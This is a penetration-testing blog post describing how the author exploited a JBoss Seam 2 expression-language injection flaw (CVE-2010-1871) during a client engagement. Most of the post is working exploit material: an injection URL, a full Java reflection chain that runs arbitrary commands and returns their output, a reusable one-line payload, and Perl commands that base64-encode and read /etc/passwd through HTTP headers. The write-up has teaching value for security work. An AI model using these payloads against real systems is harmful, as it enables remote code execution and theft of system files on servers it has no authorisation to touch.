Pwning JBoss Seam 2 like a boss

I haven’t been writing for a long time, so I finally decided to write about a cool (old) story with JBoss.

It all starts with a pentest job for a client about 2 years ago. We had a webapp running JBoss with Seam 2, and we focused on that. After completing some tests, we had vulnerabilities with low and medium severity, but we wanted more, so the next thing was to try to explore JBoss Seam 2 RCE (CVE-2010–1871).

For those who want to know more about this vulnerability, click here.

What looked like piece of cake turned out to be a nightmare.

This is the first payload we used:

/pwn.xhtml?user%3d%23{expressions.getClass().forName(‘java.lang.Runtime’).getDeclaredMethod(‘getRuntime’).invoke(expressions.getClass().forName(‘java.lang.Runtime’)).exec(‘hostname’)}

Java.lang.UNIXProcess

Nice! It tell us that we managed to execute a command and that command generated a UNIXProcess object.

In normal situations this would be enough: send a payload to reverse shell back to our server and that would be game over. However in our test case, the network security policies were so restrictive that we didn’t even managed to receive DNS requests from our victim server. Outbound connections of any kind were not allowed.

So we set out to find a way to get command output instead of just seeing java.lang.UNIXProcess which lead us to have to study a bit more about Java Reflection methods.

The first thing we needed was a sample Java code to execute commands and get output. Easy:

new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec(“id”).getInputStream())).readLine()

If you put this payload inside a System.out.println(), and execute you will see the ‘id’ command output on your console.

This is the simplest payload that allows you to have output from a system command and as you can see, we need to use constructors to instantiate the classes BufferedReader and InputStreamReader since they are not static classes. The problem is that the constructors are not allowed within the EL expressions, so to achieve this there’s only one option: use Reflections.

The EL expressions allow the payload syntax to be a bit more simplified from the normal Java code, for example, it accepts strings within quotes (‘) while Java does not, and it even supports direct method calls like we mentioned earlier:

‘’.getClass().forName(‘java.lang.Runtime’).getDeclaredMethod(‘getRuntime’).invoke(‘’.getClass().forName(‘java.lang.Runtime’)).exec(‘id’)

Java doesn’t support this type of direct references. If you put this code on a Java file and try to run it, it will throw an error saying “cannot find symbol“. This is because Java doesn’t have the object context at compile time! So for Java, we are just calling an exec() method out of an unknown class which is obviously wrong.

To get around this and since we were developing and testing our payloads first on pure Java (thanks CodingGround!), we had to go into FULL REFLECTION MODE :) It also helped us understand better how it works.

Starting from the initial payload, we needed to transform it to be used on native Java.

We needed the documentation to guide us, of course. If you want to understand how reflection works, you will have to spend some time on this page: https://docs.oracle.com/javase/7/docs/api/java/lang/Class.html

And this one:

https://docs.oracle.com/javase/7/docs/api/java/lang/reflect/Method.html

First thing to notice is that when calling the invoke method on a Method class, the arguments are always:

public Object invoke(Object obj, Object… args)

And this is quite important:

Invokes the underlying method represented by this Method object, on the specified object with the specified parameters.

The underlying method is what we get from the getDeclaredMethod function and then we need to specify the object on which we want to apply that method and the method arguments.

This is the basic principal behind the Reflections.

So getting back to our payload… since we want to run system commands, we will need to check which objects, method and arguments we need from:

https://docs.oracle.com/javase/7/docs/api/java/lang/Runtime.html

The very first thing we need is a Runtime object. We can obtain it using java.lang.Runtime.getRuntime(). We need to reflect the class java.lang.Runtime and then invoke the method getRuntime(). Since it has no arguments and the invoke method always needs the object context, we will call it with a null argument, like this:

“”.getClass().forName(“java.lang.Runtime”).getDeclaredMethod(“getRuntime”).invoke(null)

If we print this out, it will show something like: java.lang.Runtime@6f51b1b7 so it means that we successfully invoked the getRuntime method and the result was a java.lang.Runtime object.

Next step, calling exec().

Since we have the getRuntime returned object, we can call the exec() function by referencing a Runtime class, invoking the exec method and passing two arguments: the previously obtained object for the context and the normal exec() arguments.

“”.getClass().forName(“java.lang.Runtime”).getDeclaredMethod(“exec”,””.getClass()).invoke(
“”.getClass().forName(“java.lang.Runtime”).getDeclaredMethod(“getRuntime”).invoke(null), “uname -a”)

Notice that since the exec() function is overloaded, we need to specify which one we are calling by indicating the number of arguments and their types. Since we just want something like exec(“command”), we reflect the String class using: “”.getClass(). Java also accepts the format String.class and it compiles and executes fine, however during our tests we noticed that JBoss Seam doesn’t accept this syntax. Once again, Reflection to the rescue as a workaround :)

If we test this payload with a println, it returns something like java.lang.UNIXProcess@1092d6d2. Sounds familiar? We are able to execute commands at this point, but now we need to construct our wrapper reflections to output the result.

We know that the exec() returns an object of the type Process and the Process class contains a function called getInputStream() that returns an InputStream object. It means that the object returned by exec(), will be our context object to call the getInputStream. Using the same syntax as before we get the class, the method to call and call invoke:

“”.getClass().forName(“java.lang.Process”).getDeclaredMethod(“getInputStream”).invoke(
“”.getClass().forName(“java.lang.Runtime”).getDeclaredMethod(“exec”,””.getClass()).invoke(
“”.getClass().forName(“java.lang.Runtime”).getDeclaredMethod(“getRuntime”).invoke(null), “uname -a”))

At this point we should have an object of the class InputStream. Now we need to instantiate a new InputStreamReader object and use this stream as argument. This will create the object we need for the BufferedReader. Since we need to instantiate a class, the syntax is a bit different from calling a method:

“”.getClass().forName(“java.io.InputStreamReader”).getConstructor(“”.getClass().forName(“java.io.InputStream”)).newInstance(
“”.getClass().forName(“java.lang.Process”).getDeclaredMethod(“getInputStream”).invoke(
“”.getClass().forName(“java.lang.Runtime”).getDeclaredMethod(“exec”,””.getClass()).invoke(
“”.getClass().forName(“java.lang.Runtime”).getDeclaredMethod(“getRuntime”).invoke(null), “uname -a”)))

And now we repeat the same logic for the BufferedReader:

“”.getClass().forName(“java.io.BufferedReader”).getConstructor(“”.getClass().forName(“java.io.Reader”)).newInstance(
“”.getClass().forName(“java.io.InputStreamReader”).getConstructor(“”.getClass().forName(“java.io.InputStream”)).newInstance(
“”.getClass().forName(“java.lang.Process”).getDeclaredMethod(“getInputStream”).invoke(
“”.getClass().forName(“java.lang.Runtime”).getDeclaredMethod(“exec”,””.getClass()).invoke(
“”.getClass().forName(“java.lang.Runtime”).getDeclaredMethod(“getRuntime”).invoke(null), “uname -a”))))

At this point we have a BufferedReader object and we are almost finished. The last step is to call the method we wanted since the beginning: readLine()!

“”.getClass().forName(“java.io.BufferedReader”).getDeclaredMethod(“readLine”).invoke(
“”.getClass().forName(“java.io.BufferedReader”).getConstructor(“”.getClass().forName(“java.io.Reader”)).newInstance(
“”.getClass().forName(“java.io.InputStreamReader”).getConstructor(“”.getClass().forName(“java.io.InputStream”)).newInstance(
“”.getClass().forName(“java.lang.Process”).getDeclaredMethod(“getInputStream”).invoke(
“”.getClass().forName(“java.lang.Runtime”).getDeclaredMethod(“exec”,””.getClass()).invoke(
“”.getClass().forName(“java.lang.Runtime”).getDeclaredMethod(“getRuntime”).invoke(null), “uname -a”)))))

We are done! Now can we can put it on just a single line:

“”.getClass().forName(“java.io.BufferedReader”).getDeclaredMethod(“readLine”).invoke(“”.getClass().forName(“java.io.BufferedReader”).getConstructor(“”.getClass().forName(“java.io.Reader”)).newInstance(“”.getClass().forName(“java.io.InputStreamReader”).getConstructor(“”.getClass().forName(“java.io.InputStream”)).newInstance(“”.getClass().forName(“java.lang.Process”).getDeclaredMethod(“getInputStream”).invoke(“”.getClass().forName(“java.lang.Runtime”).getDeclaredMethod(“exec”,””.getClass()).invoke(“”.getClass().forName(“java.lang.Runtime”).getDeclaredMethod(“getRuntime”).invoke(null), “any command here!”)))))

Super cool payload, isn’t it? :) 
This should work both on pure Java code and on all frameworks that support EL expressions.

There’s one limitation though… Because the way ReadLine() method works, we can only output the first line of the command executed.

So, let’s try to get /etc/passwd:

Nope, no luck…

Let’s see with base64:

Again, doesn’t work…

Let’s see if we have python

No python for you.

And Perl?

Cool, we can use Perl to execute then but since our response will come on an HTTP header, we know that whatever we execute must return only 1 line of text. So we will use Base64 to encode the command output using the Base64 module in Perl.

perl -MMIME::Base64 -e print(encode_base64(`ls`))

Notice that in Bash we would need to wrap the perl code within quotes but this is not necessary in this context.

It’s working… But now we want to read /etc/passwd

perl -MMIME::Base64 -e print(encode_base64(`cat /etc/passwd`))

This works but encode_base64 splits the output in multiple lines by default. In order to have the full output on one line, we need to specify an empty string as End-of-Line (EOL) character as the second parameter.

perl -MMIME::Base64 -e print(encode_base64(`cat /etc/passwd`,""))

But lets be perfectionists and get rid of all the quotes on our payload. For this we can use the “qx//” format as described in PerlOp page (https://perldoc.perl.org/perlop.html#Quote-Like-Operators). Instead of ‘/’, we will use another character for our separator since we need the slash to specify paths on the filesystem. This can be pretty much anything. For this PoC, we will use the colon ‘:

Fun fact: we can use the same “qx//” format to get an empty string as well :)

Our Perl payload will now be:

perl -MMIME::Base64 -e print(encode_base64(qx:cat /etc/passwd:,qx::))

And the full exploit will be:

So that’s it, we are now able to execute arbitrary commands on the server and get the full Base64 output.

As an additional step we could set up a Burp’s extension to automatically decode the Base64 contents and put it on the response body.

Thanks to henshin and morisson for helping me out with the Java and Perl tricks.